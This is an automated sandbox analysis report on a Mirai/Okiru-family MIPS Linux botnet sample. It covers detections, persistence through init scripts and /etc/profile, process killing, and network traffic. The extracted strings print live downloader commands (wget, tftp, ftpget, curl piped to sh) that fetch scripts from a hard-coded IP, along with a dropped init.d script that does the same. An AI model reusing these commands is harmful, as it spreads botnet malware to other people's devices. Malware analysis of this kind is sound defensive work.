Linux Analysis Report
0aEXGHNxhO.elf

Overview

General Information

Sample name: 0aEXGHNxhO.elf
renamed because original name is a hash value
Original sample name: 1e3c42684a2876a301a23f1a29a0fda5.elf
Analysis ID: 1531323
MD5: 1e3c42684a2876a301a23f1a29a0fda5
SHA1: b3a44bf03a19da16575cbb4fdc730b3bf0cbe880
SHA256: 3fc1e12a3e0f80d40998e3699178708dda472350a697967d464c780650ecc9eb
Tags: 32elfgafgytmips
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 0aEXGHNxhO.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 0aEXGHNxhO.elf Virustotal: Detection: 61% Perma Link
Source: 0aEXGHNxhO.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: 0aEXGHNxhO.elf String: /proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: 0aEXGHNxhO.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0

Networking
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 55018
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40284 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:36448 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.13:41292 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.13:43366 -> 185.170.144.84:38242
Sample listens on a socket
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: 0aEXGHNxhO.elf, profile.12.dr, inittab.12.dr, bootcmd.12.dr, 0aEXGHNxhO.elf.36.dr, mybinary.12.dr, custom.service.12.dr String found in binary or memory: http://154.216.19.140/
Source: 0aEXGHNxhO.elf String found in binary or memory: http://154.216.19.140/curl.sh
Source: 0aEXGHNxhO.elf String found in binary or memory: http://154.216.19.140/lol.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkil
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5455) SIGKILL sent: pid: 5479, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5505) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 5523) File: /etc/rc.d/S990aEXGHNxhO.elf -> /etc/init.d/0aEXGHNxhO.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5502) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5512) File: /etc/init.d/0aEXGHNxhO.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5640/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5641/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5642/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5654/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5655/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5656/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5638/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5639/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5273/cmdline Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5650/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5651/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5652/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5653/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5607/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5643/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5644/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5645/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5646/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5647/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5648/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5605/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5649/status Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5528) File opened: /proc/5606/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/0aEXGHNxhO.elf (PID: 5473) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5500) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5503) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5506) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/0aEXGHNxhO.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting 0aEXGHNxhO.elf'\n /tmp/0aEXGHNxhO.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping 0aEXGHNxhO.elf'\n killall 0aEXGHNxhO.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/0aEXGHNxhO.elf" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5508) Shell command executed: sh -c "chmod +x /etc/init.d/0aEXGHNxhO.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5513) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/0aEXGHNxhO.elf (PID: 5521) Shell command executed: sh -c "ln -s /etc/init.d/0aEXGHNxhO.elf /etc/rc.d/S990aEXGHNxhO.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5502) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 5512) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/0aEXGHNxhO.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5520) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5478) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5502) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5512) File: /etc/init.d/0aEXGHNxhO.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5506) Writes shell script file to disk with an unusual file extension: /etc/init.d/0aEXGHNxhO.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 5506) File: /etc/init.d/0aEXGHNxhO.elf Jump to dropped file
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 55018
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/0aEXGHNxhO.elf (PID: 5432) Queries kernel information via 'uname': Jump to behavior
Source: 0aEXGHNxhO.elf, 5432.1.00005635951a7000.000056359524e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: 5V!/etc/qemu-binfmt/mips
Source: 0aEXGHNxhO.elf, 5455.1.00007f29fc461000.00007f29fc465000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsdF78F9X
Source: 0aEXGHNxhO.elf, 5432.1.00005635951a7000.000056359524e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: t-1/qemu-binfmt/mips/usQ_#
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: /tmp/qemu-open.Lcb6BW
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: 5V/tmp/qemu-open.Lcb6BW\DI
Source: 0aEXGHNxhO.elf, 5432.1.00005635951a7000.000056359524e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: %s/qemu-op
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00007f29fc465000.00007f29fc46b000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: panel/wrapper-2.MPDIR%s/qemu-op
Source: 0aEXGHNxhO.elf, 5432.1.00005635951a7000.000056359524e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: /qemu-binfmt/mips/usQ
Source: 0aEXGHNxhO.elf, 5432.1.00007fff7251d000.00007fff7253e000.rw-.sdmp, 0aEXGHNxhO.elf, 5455.1.00007fff7251d000.00007fff7253e000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/0aEXGHNxhO.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/0aEXGHNxhO.elf
Source: 0aEXGHNxhO.elf, 5455.1.00005635951a7000.000056359524e000.rw-.sdmp Binary or memory string: 5V!/usr/bin/vmtoolsd
Source: 0aEXGHNxhO.elf, 5455.1.00007f29fc465000.00007f29fc46b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsF

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 0aEXGHNxhO.elf, type: SAMPLE
Source: Yara match File source: 5455.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: 0aEXGHNxhO.elf, type: SAMPLE
Source: Yara match File source: 5455.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 0aEXGHNxhO.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 0aEXGHNxhO.elf PID: 5455, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 0aEXGHNxhO.elf, type: SAMPLE
Source: Yara match File source: 5455.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: 0aEXGHNxhO.elf, type: SAMPLE
Source: Yara match File source: 5455.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f29fc400000.00007f29fc420000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 0aEXGHNxhO.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 0aEXGHNxhO.elf PID: 5455, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
46.228.134.119
 unknown Finland
16273 F-SECURE-ASFI false
39.186.177.245
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
137.106.94.110
 unknown United States
3128 BRUWS-AS3128US false
92.249.97.63
 unknown Ukraine
29107 SYNAPSE-ASUA false
104.2.223.101
 unknown United States
7018 ATT-INTERNET4US false
129.250.191.148
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
88.153.17.169
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
169.80.33.176
 unknown United States
37611 AfrihostZA false
51.29.18.197
 unknown United States
2686 ATGS-MMD-ASUS false
148.221.166.237
 unknown Mexico
8151 UninetSAdeCVMX false
62.172.69.170
 unknown United Kingdom
5400 BTGB false
4.179.252.190
 unknown United States
3356 LEVEL3US false
148.61.66.50
 unknown United States
237 MERIT-AS-14US false
55.223.114.210
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
36.99.206.133
 unknown China
137687 CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePR false
215.70.67.18
 unknown United States
385 AFCONC-BLOCK1-ASUS false
105.33.55.237
 unknown Egypt
37069 MOBINILEG false
29.173.23.249
 unknown United States
7922 COMCAST-7922US false
102.97.225.96
 unknown Morocco
36925 ASMediMA false
205.100.99.246
 unknown United States
721 DNIC-ASBLK-00721-00726US false
217.235.129.148
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
87.55.140.142
 unknown Denmark
3292 TDCTDCASDK false
88.23.166.249
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
123.8.73.61
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
165.7.204.182
 unknown United States
46512 UT-MEDICAL-CENTERUS false
139.113.133.233
 unknown Norway
5619 EVRY-NO false
25.233.114.19
 unknown United Kingdom
7922 COMCAST-7922US false
40.74.153.223
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
109.62.187.3
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
43.61.235.2
 unknown Japan 4249 LILLY-ASUS false
146.26.241.101
 unknown United States
197938 TRAVIANGAMESDE false
171.40.4.12
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
193.115.94.173
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
221.66.3.53
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
211.94.112.232
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
221.158.135.212
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
36.35.209.45
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
1.248.188.192
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
35.159.158.194
 unknown United States
16509 AMAZON-02US false
205.28.112.89
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
3.104.88.38
 unknown United States
16509 AMAZON-02US false
119.253.183.134
 unknown China
23844 BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN false
83.86.78.189
 unknown Netherlands
33915 TNF-ASNL false
116.124.181.132
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
129.247.101.108
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
176.209.173.125
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
40.245.204.14
 unknown United States
4249 LILLY-ASUS false
166.38.43.172
 unknown United States
3372 MCI-ASNUS false
114.219.151.42
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
23.144.30.165
 unknown Reserved
395605 SECURUSTECHUS false
110.248.37.176
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
28.45.61.48
 unknown United States
7922 COMCAST-7922US false
6.75.205.208
 unknown United States
1464 DNIC-ASBLK-01464-01465US false
135.64.195.28
 unknown United States
18676 AVAYAUS false
156.20.210.50
 unknown United States
29975 VODACOM-ZA false
90.72.144.145
 unknown France
15962 OSK-DNISlovakiaSK false
186.55.147.79
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
49.152.43.158
 unknown China
9299 IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH false
31.121.117.149
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
